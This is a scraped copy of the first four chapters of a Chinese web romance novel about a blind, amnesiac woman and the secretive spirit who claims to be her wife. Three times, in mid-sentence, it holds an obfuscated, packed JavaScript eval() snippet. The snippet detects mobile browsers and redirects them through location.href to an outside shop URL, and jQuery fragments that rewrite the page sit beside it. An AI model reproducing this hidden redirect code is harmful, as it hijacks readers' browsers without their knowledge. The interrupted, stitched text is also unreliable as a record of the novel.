《失忆后被病娇美人诱哄》
1. 第 1 章
清晨,池未睁开双眼,雾蒙蒙一片,依旧是什么也看不清。
半边身子被滑腻柔软的身体贴着,脖颈处传来酥痒的热意。听着身上人均匀绵长的呼吸声,池未脑子轰地一下炸开。
脑子里闪现昨晚烈酒一杯一杯下肚子,辛辣烈酒灼烧嗓子呛得她直咳嗽,懊恼地闭上眼睛。
失忆这两个月,她始终与这位自称是她夫人的萧衍仪隔着一层若有似无的距离。萧衍仪对她的照料绝对称得上无微不至,可这份好来得太突然、太完整,她一时半刻,实在无法将自己全然安放进“失明的有家室之人”这个角色里。
昨夜,萧衍仪陪她看完大夫归来,隔壁热心的李婶提了两壶自酿的米酒来串门。你一言我一语中,池未心中郁结,鬼使神差地,她喝了一杯又一杯萧衍仪递过来的酒杯。
然后今早醒来,被窝里就多了个温软的人?
池未小心翼翼地推了推身上的人,指尖触及之处,皆是如暖玉般光滑紧致的肌肤,那触感让她心神一颤,被压住的半边身子隐隐发麻。
她握住身上人的手臂稍一用力,手腕忽然被一只温热的手圈住,池未不敢动,立马屏住呼吸。然而怀里的人被她扰得似乎有些不耐,翻了个身,拉着她的手,按在了一处丰盈柔腻之上。
“嗯……小池别闹,让我再睡会儿。”萧衍仪的声音相比往常有些低哑,带着丝未睡醒的慵懒,听得人心里发痒。
那一声“小池”,唤得自然亲昵,让池未紧绷的心弦稍稍一松。
还好,是萧衍仪。
但这念头刚起,更汹涌的异样感便席卷而来。手心下的肌肤温热柔软,细腻得没有一丝布料的阻隔……
这个认知让池未觉得浑身的血液都轰然冲上了头顶,脸颊耳根烫得惊人。那滑腻灼人的触感,从掌心瞬间过电般席卷全身。
扑通。扑通。
心脏止不住的狂跳,大脑一片空白。
池未不敢再动分毫,从未觉得时间如此难熬。即便是在刚醒来得知自己失明又失忆,茫然坐在院中枯坐一日时,也不曾像现在这般煎熬。
她感觉自己像一尊僵硬的石像,在这温香软玉的怀抱里,足足煎熬了几个时辰之久。
直到门外传来极轻的脚步声,还有“笃笃”的敲门声,以及萧衍仪妹妹萧檀清亮稚嫩的嗓音:
“阿姐,你在里面吗?”
怀里的人终于动了。被子被掀开一角,微凉的空气趁机钻入,怀里一空,本该松口气的池未,莫名又觉得有些空落落的。
“我在。怎么了?”萧衍仪应道。
“早饭做好了,你们两个什么时候起来呀?”
“就来了。”萧衍仪说着,掀被坐起。
身上的被子被轻轻掀开,凉意再次袭来,但很快,一件柔软的衣物裹住了她。池未摸索着穿上,手却有些微微发抖,不知道是因为紧张还是房间里有些冷。
她实在拼凑不起昨夜醉酒后的任何片段。
耳边传来簌簌的衣物摩擦声,是萧衍仪在更衣。那声音在寂静的房间内显得格外清晰,池未脑中无端勾勒出一些曼妙的轮廓,她摇摇头赶紧甩出了脑海里的浮想。
趁着穿衣的间隙,她再次鼓起勇气:
“阿衍,昨夜我醉后我们有没有做什么不该做的事?”
正在为她系衣带的手微微一顿。而后一如既往地牵起她的手,引着她伸入袖中,动作温柔细致。
“什么事是你觉得该做的?又什么事,是你觉得不该做的呢?”
萧衍仪其人,便如同她掌心的温度,始终是温润的。
这两个月里,池未能感觉到被温柔照顾的周全。可这温润之下,又有一种柔韧的力道。她并非一味纵容,若池未言语或举动中流露出过分的疏离或试探,那温润的玉便会显出一分恰到好处的凉意,让她知道界限所在。
此刻,这四两拨千斤的反问,就让池未有些招架不住。
“就是我们怎么会睡到一张床上?我昨有没有借酒劲对你无礼?”醒来时那令人血脉偾张的触感记忆犹新,即便没敢细探,她也知道萧衍仪当时身上衣料少得可怜。
“没有。你眼睛不便,醉成那样,又能做什么呢?况且,你自己身上的寝衣不是穿得好好的么?”萧衍仪答得简洁,顺手将池未颊边一缕睡乱的发丝别到耳后。
池未闻言这才松了口气,身体不再僵硬,却看不到身旁的人脸上笑意淡了。
“你们两个怎么回事,一觉赖床到晌午,羞不羞。”
萧檀是萧衍仪的妹妹,为人活泼好动,年仅七岁,留给池未最大的印象便是嘴馋,因为她自己吃不来荤,每次闻到肉腥味都腻得慌。
这妹妹是萧衍仪捡来的,并无血缘关系,得知此事之后,池未更觉得萧衍仪是个善人,不论是对她还是对萧檀,都是天大的恩情。
萧衍仪迟迟不语,池未抵不住这尴尬,只得硬着头皮接话:“昨夜酒喝多了些,不好意思,让你担心了。”
小檀眨眨眼,一副小大人模样:“快吃饭吧,再磨蹭,粥都要凉透啦!”
米粥醇香温热,入口软烂可口,萧衍仪有事不在家时,做饭的的事就交给了小檀,她年岁小不会做菜,只会熬些米粥。
池未觉得自己总不能一蹶不振,总得做些什么替萧衍仪分担些,她眼盲看不清东西,可选择
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116982|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的实在太少,想来想去也没想到做些什么适合自己。
白日里萧衍仪不在,她便与小檀待在院中。
小檀总爱坐在那架简陋的秋千上,晃晃悠悠,仿佛永远也不会腻。秋千“吱呀”“吱呀”的声响里,夹着她清脆的絮语,一遍遍描绘着家门对面那片油菜花田,说它们在日光下如何灿烂得晃眼,风来时又如何漾起金色的波浪。
池未点着头应和,心思却飘远了。
昨夜同床来得太突然,此前她与萧衍仪从未同榻而眠。此刻她满心盘算的,是晚间该如何开口,提出依旧分床而睡。
直至入夜,萧衍仪才在她和小檀用过晚饭后姗姗归来。池未没问萧衍仪去何处了,满心都在担忧晚上该如何开口。
随着太阳下山,池未眼前朦胧的亮光变成一片漆黑。
萧衍仪搀着池未回房时,两人在门前不约而同地停住了脚步。萧衍仪静静立着,似乎在等她说什么。池未挣扎了几息,到底还是用力掐了一下指腹,鼓起勇气道了声谢谢。
摸索着爬上床后不久,房间内一下子变得昏暗,接着是木门合上的声音——是萧衍仪帮她熄了烛火刚刚离开。
世界归于寂静,纠结一整日的池未也终于松了口气,眼皮一沉,呼吸变得均匀。
就在她刚刚入睡不久,院墙外雾气无声漫起,一个轮廓从雾气中慢慢剥离出来,此物颈处空空荡荡,断口参差,却没有一滴血,正脚不沾地幽幽飘向池未卧房。
途径转角时,那女鬼似是觉察到什么,身形忽地一滞。只见萧衍仪正抱臂斜倚在门边,一身素衣融在月色里,唯有一双眼睛缓缓抬起,慵懒地扫了过来。
“还不快进去。”
女鬼周身缭绕的雾气骤然瑟缩,如同被烫到一般剧烈颤抖起来。她再不敢停留,身形倏地化作一缕青烟,仓皇挤进了池未房门的缝隙。
约莫一盏茶后。
“啊——!”
一声短促的惊叫划破寂静。
池未赤着脚从屋内踉跄冲出,直直撞进守在门口的萧衍仪怀里。
“有……有鬼。”她声音发颤,几乎语不成调。
萧衍仪稳稳接住她,手掌轻抚她因惊吓而绷紧的脊背,声音低柔如常:“小池,莫怕。你可是做噩梦了?”
池未:“我不知道,但我房间里多了个无头的白衣人,那人穿着囚服,手里拎着自己的头,披头散发七窍流血。”
她紧紧圈着萧衍仪的腰,熟悉的淡淡幽香使她心稍微平静些许,而萧衍仪的目光则是淡淡掠过那扇半掩的房门,月色映入眼底,平静无波。
“定是做噩梦魇着了,你的眼睛还没治好呢。”
2. 第 2 章
池未环着萧衍仪腰间的手稍松,一时也有些恍惚。是啊,她眼盲已久,什么都看不见,方才又怎会“看见”呢?
可那寒意是真的,刺骨冰冷,像有湿冷的雾气贴在皮肤上,那轮廓也是真的,空荡荡的囚服在月光下摇晃,就站在她床头,近得仿佛对方一伸手就能掐住她脖颈。
“可是……”她唇瓣微颤,还未说完,萧衍仪已将她搂紧了些。
“不怕,有我在这儿。”
池未点点头,平静下来的她,也知道自己有些大惊小怪,脚上踢到了一层柔软,那触感明明是一床被子。
“阿衍,你怎么睡在我的房间外面?”
萧衍仪支支吾吾声音传入耳畔:“我不放心你。”
池未瞬间明了,萧衍仪怕她眼盲摔倒,才会睡在她的房间门口。难怪她每次夜里口渴都很赶巧遇上萧衍仪也起身喝水。
她攥着萧衍仪冰冷的手腕,要被心底的歉疚淹没:“阿衍,你进来陪我一起睡吧,我有些害怕。”
“真的?你不怕我吗?”萧衍仪声音温软。
“虽然我眼盲,但我知道你是真的对我好。”池未弯腰抱起地上的被子,拉着人往回走:“再说这本就是我们两个的房间,之前我心思敏感总是霸占着,要睡也该是我睡在地上。”
重回房间内,迎面一阵风吹过,池未下意识退了一步护在萧衍仪身前,阴冷的气息扑面而来,与刚刚的噩梦极其相似。
但只一下,那种感觉便消失了。
本想睡在地上的池未,顿时把要说的话咽了下去,她想反正昨夜也一起睡过了,现在再矫情好像也没什么意义了。
萧衍仪在身边,池未也不想再在大半夜说些吓唬人的话。硬着头皮继续往床边走。
“阿衍,你能把蜡烛点上吗?”
“我不是害怕,我只是……”池未说不下去了,她其实就是害怕。
好在萧衍仪没有追问,默默的点燃了蜡烛。
她总是这么善解人意,眼前多了一点亮光,池未终于感觉好受一些。
她推着萧衍仪睡到里面,自己摸索着上床睡到外侧,两人躺在床上,是比一个人睡要暖和些,小腿被一片凉意触碰,池未立马将脚伸过去垫在对方脚下,一片冰凉。
池未眉头微蹙:“去医馆怎么也不叫大夫给你也瞧瞧?”
萧衍仪:“嗯?”
池未动动脚贴了贴萧衍仪的脚心提醒对方,萧衍仪嘴角微翘:“我身体很好,大夫早就瞧过了,天生便是如此,你不用担心。”
不知道对方说的是真话还是假话,池未已经打定主意,下次再去医馆要让大夫帮阿衍好好检查一下。
似乎猜到池未在想些什么,萧衍仪轻声说道:“你以前也对我说过同样的话,看来你真的是一点都没有变。”
池未笑笑没说话,摸索着拉过萧衍仪的手帮其保暖。
房间里恢复安静,她视力不好,响起一点风吹草动,不免就联想到刚刚的噩梦,偏偏屋外怪风不止,屋内总是响起窸窸窣窣的声音。
稍微响起一点声音,她就贴着萧衍仪更近一些,不一会儿就把萧衍仪挤到墙角。
“阿衍,咱们家里不会有老鼠吧?”
萧衍仪噙着笑看着紧张的池未:“隔壁李婶家的猫总来串门,老鼠应该不敢光顾咱们家。”
池未有些不信,把被子往上拉盖住自己和萧衍仪的脖子:“那你有没有听到什么怪声?窸窸窣窣的,难道是有蟑螂?”
被子下,萧衍仪的掌心落在池未后背,轻轻拍着:“那就更不可能了,家里打扫的很干净。你可是看到了什么?”
池未往萧衍仪怀里又挤了挤,整个人几乎直接扒在萧衍仪的身上:“是听到的。难道你没听到吗?”
除了纱帐外有一个女鬼正拿着头来回溜达,长长的发丝扫在地上发出微弱的声音,萧衍仪确实没听到其它窸窸窣窣的声音。
她半撑起身子对着站在屋中央不知所措的女鬼,轻抬下颌朝屋外点了一下,女鬼会意,这才颤颤巍巍地飘着穿墙出去了。
不一会儿,屋檐下响起了阵阵婴儿似的哭嚎声。
这声音吓得池未一激灵,好在萧衍仪立马把双手捂在了池未耳朵上。
池未紧张地吞了口津水,说话都有些结巴,声音更小:“阿衍,你也听……听见了吗?”
“别怕,我帮你忘记这些声音好不好?”萧衍仪落在池未后背的掌心慢慢上移,直至落在池未颈后。
“怎么忘记?”
话音刚落,池未便觉后脑被萧衍仪的掌心轻轻扣住。未及反应,唇上已落下一片温热。霎时间,整个人僵住,脑海一片空白,连窗外那断断续续的鬼哭声,也顾不上去听了。
萧衍仪的唇在她唇瓣上流连,时而轻吮,时而细细地噬咬。池未不知该如何回应,却也在那样温柔的侵占里,渐渐觉得心口酥酥麻麻,似有细小的电流窜过。她不自觉地抬起手,掌心轻轻覆上萧衍仪的腰侧。
说起来,两人到底是做了多年的妻妻,可萧衍仪这个吻,却让池未尝出一种……一种近乎生涩的探寻,横冲直撞一味的索求。
好在对方很快找回了节奏。
池未渐渐有些招架不住,迷迷糊糊地想,刚刚或许是太久没有这样亲近过了吧,萧衍仪……大概只是有些生疏了。
被亲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116983|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吻的感觉其实并不讨厌。
甚至,当她收紧掌心时,察觉萧衍仪的呼吸倏然一顿,池未心头竟掠过一丝想要翻身将她压下、好好“欺负”回去的冲动。
她手上暗暗使力,却不料萧衍仪比她更快一步,身体被轻轻压回床褥,手腕也被扣住,按在了枕边。
此时的萧衍仪,周身已不再冰冷,温热的体温透过单薄衣料隐隐传来。池未腰间一松,本就宽松的衣襟眼看就要滑开,她慌忙偏过头,在急促的呼吸间隙中按住对方试图探入的手。
“等等……是不是该睡了?明天你还要帮书局抄书呢。”
萧衍仪出身书香门第,写得一手清隽好字。
照萧衍仪的说法,她曾经是萧衍仪的家奴,两人私定终身家中不许,便私奔逃了出来。不久前她误伤了头,导致失忆眼盲不能做事,萧衍仪平日里便靠着替书局抄书,维持着这个家,也养活着池未与小檀两人。
只可惜在这偏僻的渔村里,有闲钱买书、有雅趣品字的人终究不多。因此这份收入,也总是时有时无,并不稳当。
“你不喜欢吗?”萧衍仪半撑着身子,呼吸还未平复,目光落在池未脸上,透着一股痴迷的压抑的欲望。
池未颊边发烫,唇动了动,却说不出“喜欢”,亦无法道出“不喜欢”。
“不是的……只是你明天不是还要忙吗?太晚歇息,总归不好。”
“不碍事。”萧衍仪低语一声,又俯身吻上她敏感的颈侧。
池未偏头拽过被子,隔在两人之间,牙关紧咬,再不出声,抵着对方试图再进一步。
可对方力气忽然大的很,池未只感觉一股温热的吐息洒在颈边,脖颈处一阵刺痛,右半边肩膀的麻痹感席卷全身。
再然后,她便脑中一空,什么都不记得了。
……
压抑的呼吸声在房间里起伏。纱帐上映出一道纤细身材姣好身影,正仰着修长的脖颈,双手撑在床沿,随着某种节律轻轻摇曳、起伏。
约莫一盏茶的功夫,那影子忽然颤得厉害,像绷紧的弦,倏地失了力气,呼吸一滞,整个人便软软伏了下去。
帐内响起窸窸窣窣的衣料摩挲声。
“刷”的一声,纱帐被人从里面掀开。萧衍仪赤着脚走出来,面颊潮红未退,眉头却微微蹙着,眸中雾气氤氲,分不清是羞是恼。
她快步穿过卧房,走出门时守在窗边哭嚎的鬼物全身抖得厉害,对着她不住地磕头作揖,萧衍仪看都没看上一眼,随手一挥那囚犯模样的鬼物便重新化作一团烟雾,晚风吹过,飘飘散散融于夜色消失殆尽。
小院的浴房亮起一点昏黄的灯照亮窗户……
3. 第 3 章
回想昨夜,池未只记得萧衍仪咬了她一口,然后她便困得不行整个人睡了过去。
耳畔阵阵热气洒在她颈侧的肌肤,真是怪了,昨天喝醉酒也就罢了,往常早起的萧衍仪今日竟然还没睡醒。
体恤对方几个月来的照顾有加,池未掀开被子挪腾着下床,想要洗漱后去做顿早饭给萧衍仪和小檀。
色香味俱全有些困难,煮点清粥她还是可以的。
池未摸索着走到脸盆处,一伸手,摸到条浸在盆里的毛巾。怎么大早上盆里会有水和毛巾?
“别动,脏。这是昨天给你擦身子用的。”萧衍仪急切地声音在她耳畔响起,将她的手从盆里捞出,取过干燥的布巾擦拭干净。
擦身子?
池未怎么不记得有这么一回事?
“昨夜……昨夜你夜里发烧烧糊涂了,不记得也正常,你先出去坐会,我这就去做早饭。”
发烧?她怎么不记得?不过既然萧衍仪醒了,池未也不好在这给对方添乱,微微颔首摸索着出门。
萧衍仪站在盆架前停顿片刻,抬手揉了揉太阳穴,像是要驱散什么不愿回想的画面。
水盆里的毛巾,是她昨夜清理池未小腹上的水渍后,随手仍在里面忘了收。
***
用过早饭,萧衍仪出门去书局,留下小檀和池未在家。
“阿池,你在烦心什么?”小檀的声音在池未耳边响起。
“没什么。你怎么没出去玩?”池未脚尖点地,秋千缓缓停稳,微风拂面阳光正暖,不冷不热,看来是个好日子,小檀此时应该不会留在家中才对。
小檀蹲在一旁的地上写写画画,声音无精打采:“没铜板,连肉包子都买不起。阿池,你能不能带我出去买个烧鸡呀?”
烧鸡?池未站起身,浑身上下摸索了一遍,一无所获。家里的钱都在萧衍仪那儿。
“唉……看来你也没钱。”小檀的声音低落下去。池未尴尬地笑了笑:“要不你玩会儿秋千?等会儿阿衍出来,她肯定有钱给你。”
小檀抱住池未的腿,小声嘟囔:“她……唉,算了。阿池,你什么时候出去赚钱呀?我都好久没吃过烧鸡了。”
池未无奈:“我的眼睛还没好,怕是没人肯要我。”
“可是算命又不需要看得清呀!好多算命的本来就是瞎子嘛。”小檀站在一旁撑着下巴,想起不久前去镇上某家串门听到的秘辛,眼前忽然一亮。
池未一愣,指着自己鼻子:“你是说我以前是靠算命为生的?”
小檀心里嘀咕:虽然不算,可也差不多吧,还不如算命安全呢。
“是呀是呀,可赚钱了!”她嘴上却应得干脆。
池未苦笑:“只可惜我现在什么都不记得的,怕是没法再拾起算命这个营生了。”
小檀一脸促狭:“不会啊,你不是说只要有人把八字报给你,你就能听到神仙转述你的话吗?”
池未有些不信:“还有这么神奇的事?”
两人正说着话,萧衍仪从厨房走了出来。小檀见状,立刻在池未腿上轻轻一拍,止住了话头。
池未虽不明白缘由,还是听话地不提刚才的事。
萧衍仪走进嘱咐她们两人好好在家待着,她要去县里取书,一来一回得费不少工夫。锅里有留好的午饭,饿了就先吃,不用等她。
池未温声嘱咐萧衍仪路上注意安全,多带些水,免得路上渴了,小檀则是转身钻进边上的棚子。
萧衍仪离开不久,不多时,小檀竟扛出一根约莫一人半高的杆子,杆头悬着面洗得发白的布幡,一路晃晃悠悠跑到池未跟前。
布幡正面赫然写着“神机妙算”四个大字,背面则是“铁口直断”,旁边还缀着几列小字什么卜筮星相、批流年、问吉凶、合八字之类的。
只是这些,池未一个也认不得。也不知上面的字迹墨汁还未干,风一吹,就连墨水的味道也闻不到一丝。
“走吧,阿池。码头正好要卸货了,咱们现在去说不定能碰上几个收海货的掌柜的,赚钱买两个烧鸡开开荤。”光想想小檀就要流口水了。
池未坐在凳子上一脸为难,对于她以前算命的事,她一概不知,要是算不准了挨打,她倒是无所谓,要是小檀被波及了,萧衍仪回来还不得生气。
她可不敢。
“要不……还是算了吧,我真不记得怎么算命了。”
小檀气得跺脚,隔壁昨晚上杀鸡吃,她都快被馋死了:“哎呀,你这样子以后怎么养家,瞎了而已又不是残废了。你自己不搞点赚钱的营生,万一哪天萧衍仪不要你了,我看你怎么活得下去。”
池未顿时被小檀这番话惊得目瞪口呆,半晌说不出话来,不过虽然听着不舒服,这番话说的也不是没有半点道理。
小檀围着池未绕了一圈又道:“瞧你脖子上有个洞,是不是惹萧衍仪生气,让她给你咬的?”
这可不是咬的,乃是萧衍仪私房内的情趣,池未涨红着脸将脖颈捂严实:“小檀!你怎么能一口一个萧衍仪呢,她可是你阿姐。”
小檀冷哼一声:“你就替她瞒着吧,早晚有一天她把你卖了你都不知道。”
完全想象不出来萧衍仪那般温柔的人会有小檀这样的妹妹,池未虽然看不见,都已经想象到小檀站在旁边是怎么掐着腰数落她的。
算了算了,定是小檀害怕自己不努力,和萧衍仪关系不好感情破裂。
不就是摆摊嘛,一个小渔村,哪来那么多人有闲钱算命。她摆上半日摊,也不见得会有客人找上门,就当做是帮忙看孩子吧。
见池未终于松口,小檀脸上也露出“孺子可教也”的神情,将挂着神机妙算的布幡送入池未手中,自己牵起池未的另一只手,一大一小朝码头的方向走。
码头边上支着不少摊子,馄饨、汤面、烧饼的香气混着海水的咸湿,在午后的空气里懒懒地飘着。眼下客人不多,摊主们也闲散。小檀眼珠一转,跑到面摊前仰着脸说了几句好话,便借来一张旧长凳。
一大一小就这么在码头边上坐了下来。身旁立了块洗得发白的布番,字迹模糊,咸湿海风一吹还往下淌着未干的墨汁。路过的人瞧见这组合,总觉得古怪,不像算命,倒像是这机灵孩子领着个清俊的瞎子出来讨生活。
那瞎子穿着一身素色白衫,并不像是需要出门讨饭的模样,安静地坐着,侧脸的线条干净得有些疏离。可惜了,过路人在心里叹一声,美则美矣,偏偏是个看不见光的主。
初时,池未紧张的不得了。生怕哪个眼神比她还不好的过来批八字。
不过时间长了,也就放松了。听到左右两旁的人围着她和小檀窃窃私语看热闹,但真上来找她算命的却没有几个。
为什么要说没有几个呢,因为其中还是有那么几个过来问价的,被小檀十两银子的要价给吓了回去。
听着小檀狮子大开口的模样,池未听了都忍不住挠头,十两银子,要知道搁小渔村里,都能供两个三口之家一年吃穿不愁了。
不过她可不敢让小檀改价,她巴不得没人掏钱算命呢
只可惜天不随人意。
海风越来越大,吹得池未忍不住吸了吸鼻子,正准备求着自家小祖宗别玩了,该回家时。
“喂!准不准啊。听说你要价十两银子,算的不准我们小姐可要打断你的腿。”忽然,池未耳朵一震,一个尖锐刺耳的声音在耳边响起,吵得她差点从凳子上栽下去。
小檀的声音立马接上:“准准准,不准不要钱。我阿姐可是天下第一玄门弧矢谷的门人,您就把心放肚子里吧。”
池未心头一跳,什么玩意?
另一个温婉的声音响起:“弧矢谷?好像听说过,你可有东西证明你是弧矢谷的门人?”
弧矢谷是什么东西,池未不知道,她感觉自己背后冷汗透出,正准备起身道歉,小檀开口了。
“您瞧,这不就是吗?如假包换的弧矢谷门人。”
周围一片安静,池未尴尬僵笑着,也不知道小檀拿出什么过家家的玩意儿出来唬人。她就知道,就不该听五岁小孩的话,明天萧衍仪再出门,估计脊梁骨都直不起来了。
池未站起身,正准备拉着小檀往家走。
温婉女声再次响起:“行吧,那可否帮我看看这个人的八字品性如何?”
!<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116984|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“咣”地一下,池未被小檀拉着坐回板凳上。
“乾造癸未年甲子月乙丑日甲申时生人。”
池未双手死扣在板凳上,冷风吹过,她感觉自己整个人烫得厉害,脑门上滴冷汗顺着眼角缓缓流下。
周围的窃窃私语声,轰的一下涌入池未耳中:
“到底行不行啊,磨磨蹭蹭的,别是个骗子吧。”
“等会儿算的不准,我就报官去,这些死神棍,天天招摇撞骗还要价那么高。”
报官!被萧衍仪知道了那可不行。
就在池未感觉自己要被周围的声音给淹没时,脑中响起了一道救命声。
“此子家境殷实,但可惜佳甲字在前,家中定是还有一位姐姐,他是家中次子得不到什么家财的。”这声音来得突然,像是一名十七八岁少女的声音,语调平缓。
竟和小檀说的一模一样,真有神仙帮忙。
再坐下去,木凳子简直都要被池未抠出个大洞来,她几乎想也没想就跟着那声音说了出来:“此子家境殷实,但可惜佳甲字在前,家中定是还有一位姐姐,他是家中次子得不到什么家财的!”
空气安静了几息,没想到那温婉的女子又问:“说的在理,请问盲师,那他品性如何?”
周围看热闹的人,一听算对了一样,均往前凑了几步,围了上来。
池未听着脑海中的声音,俨然如一个传话筒般:“品行恶劣,不堪重用。子水化生丑土混局,生性淫邪,还请小姐莫要选他联姻。但其姐姐便不一样了,有两印贴身相生,虽缺少些人情味,好旁门左道,却是个品行俱佳的良人。”
说完这番话,池未心底也没谱了,毕竟对方可没说过是联姻对象家的八字。
四下悄然无声,众人都在等那位小姐开口,池未也屏息等着。唯有小檀还坐在板凳上,晃着双腿,悠闲地磕着面馆老板娘那顺来的瓜子,一副胜券在握的模样。
“既然如此,那另一位的八字便不必再看了。”那位小姐终于开口,“小女谢过盲师。莲儿,取二十两…不…三十两银子给这位盲师。”
沉甸甸的银锭落入掌心,还没捂热,就被小檀夺了过去,与此同时周围一片哗然。
“呀!这不是本县造船大户李家的大小姐李煜禾吗?”
人群里忽然有人出声:“听说李家要与周家布庄联姻,还没定下是大小姐还是小公子。听盲师方才所言,这两家好事怕是近了!”
“不过真没想到周家小子一表人才,竟是个淫邪之辈。”
“你们不知道,我可是没少看到他从赌场青楼里出来……”
此言一出,众人纷纷醒悟般涌上前来,争着要请池未批算八字。
池未原以为以小檀的性子,定会让她算到夜里涨潮时分。没想到小檀一把拉住她钻出人群,直直朝着烧鸡店去了。
回到院中,池未拎着刚买的烧鸡坐在石阶上大口喘气。一旁小檀银铃般的笑声早已响彻了整个小院:
“终于能吃上鸡了!呜……天天吃素,我都要瘦成竹竿了。”
池未想起方才小檀一提那“莫须有”的弧矢谷弟子身份,众人便霎时静下来的情形。待呼吸平复,她忍不住问起这身份的来历。
没想到,小檀竟说那木牌是她从海边捡来的,至于什么“天下第一玄门”的名头,全是她随口编的。
小檀眨眨眼,咬下一大口鸡腿,递给池未一个鸡翅膀含糊道:“谁能想到,他们真信了呢。”
得到这样的答案,池未也无语了。
她接过鸡翅膀闻了闻,还是觉得闻到肉味就反胃,又递了回去:“你吃就好,我不饿。”
就在一大一小,正沉醉在几句话赚了三十两银子开心时。
萧衍仪冷冷的声音从身后响起:
“萧檀,你倒是给我说清楚这烧鸡到底是怎么一回事。”
“还有池未你也是,都多大人了,怎么还和她出去胡闹!”
破天荒的,萧衍仪竟然发脾气了。
不等池未堆起笑容转身求饶道歉,闻到了一股浓重的血腥味,小檀开口吓了她一跳:“萧……阿姐,你怎么受伤了?”
4. 第 4 章
身上一沉,萧衍仪滚烫的身体落入怀中。
“别怕,扶我回房。”萧衍仪的呼吸拂过她耳畔,声音已经失了力气。
家里的顶梁柱塌了,池未顾不得许多,半拖半抱地搀着她往内室挪。每走一步,她都感觉到温热的液体正透过她的衣衫,濡湿她的腰间。
“哪里受伤了?”
好不容易将人安置在榻上,池未颤抖着手去解萧衍仪的外衫。指尖触到一片粘腻,惹得萧衍仪闷哼一声。
“别添乱!你看不见,不如先去烧点水来。”小檀把她一把推开。
池未一个不稳坐倒在地上,她怔怔地点了点头,撑着身子走出房间。指尖一片粘稠,她放在鼻息处闻了闻,竟然真的是血。
怎么会受伤呢?明明白天出门时还好好的。
房间内,萧衍仪面色苍白躺在床上,小檀在她身边又是剪开衣服又是上药的忙活着。
想到池未刚刚失魂落魄地走出房间,她淡淡道:“她看不清东西,你别对她这么凶。”
小檀默默翻了个白眼:“还不是被你毒瞎的,现在又怪我了。再说了,我刚刚只是看你身上全都是血,吓了我一跳,不小心推了她一把。”
萧衍仪闭上眼睛,不再说话。
小檀又道:“你这到底是怎么了?不是去县城取书吗?”
“蓬莱仙岛的人追过来了,不小心伤到的。”
小檀不解:“蓬莱仙岛?那些人不都是你师姐妹吗,你那么厉害又怎么能伤的了你?”
萧衍仪抿唇不语,小檀想起昨夜亮起的浴房:“坏了,你该不会是上次受伤导致法力不稳,压制不住发情期了吧?”
她站起身,在屋里子来回踱步:“坏了坏了,你发情了那法力便会时有时无,我一个小妖怎么奈何的了。要不然还是算了吧,”她转过看着萧衍仪,一双大眼睛鬼精鬼精的,“阿衍。咱俩把池未扔下,赶紧逃了得了。”
萧衍仪冷冷扫她一眼不语。
小檀转而笑道:“等你伤势恢复,法力稳定了,咱们再回来接池未不就好了?我知道你的计划,肯定不会耽误的。”
萧衍仪跟池未在时的相比,像是变了个模样,声音里一丝温度都没有,“到那时池未早就被送回弧矢谷,现在所做的一切岂不白费了。”
小檀挠头:“那你发情了啊!法力不稳。”
“够了!”萧衍仪终于忍受不住,恶狠狠地瞪了小檀一眼,“再一口一个发情,我就把你剁碎了喂隔壁的鸡!”
“那……那好吧。那你可有什么计划?”小檀侧过身低声嘟囔,“都是动物成精,这都是很正常的反应,有什么可避讳的。”
一阵风吹过,“咣”的一声将窗户撞得合上又打开,萧衍仪偏头看向屋外阴沉的天一道闪电划过,“下雨了,多少能掩盖住一些我的气息。三日后,坐船南下。”
小檀点头称是:“行,反正你怕冷,去南方倒是会舒服些。就是……池未那边你怎么跟她解释?”
池未着急忙慌地进到厨房,摸索着舀了几大瓢的井水灌进锅中。
一想到萧衍仪受了伤,自己什么也帮不上忙,烧水时便更加紧张,努力了好几次才把火烧起来。
有心想再返回房间看看萧衍仪的伤势,她又怕回去给小檀添乱,直到听到水声沸腾,赶紧舀了热水,端着朝房间内走去。
小檀和萧衍仪正商量着怎么和她说要搬走的事情。
话音未落,门“哐当”一声被撞开。池未踉跄着走进房间,滚烫的水在她手中剧烈晃动。抬脚时被门槛绊了一下,她下意识地想扶住门框,可双手都占着。
萧衍仪急道:“小心!”
惊呼声中,她已整个人向前扑倒。铜盆脱手飞出,热水泼了一地,白汽“嗤”地腾起。池未重重摔在湿滑的地面上,盆沿磕在额头,火辣辣地疼。
她挣扎着撑起身子,衣裳湿透贴在身上,发髻散乱,几缕湿发狼狈地黏在脸颊。热水浸透衣衫,烫得皮肤阵阵刺痛。
池未胡乱抹了把脸,指尖触到额角的温热,分不清是水还是血。心里却还惦着萧衍仪,声音急促:“我这就去再烧些水来。小檀,阿衍的伤势如何,要不要我出门找大夫?”
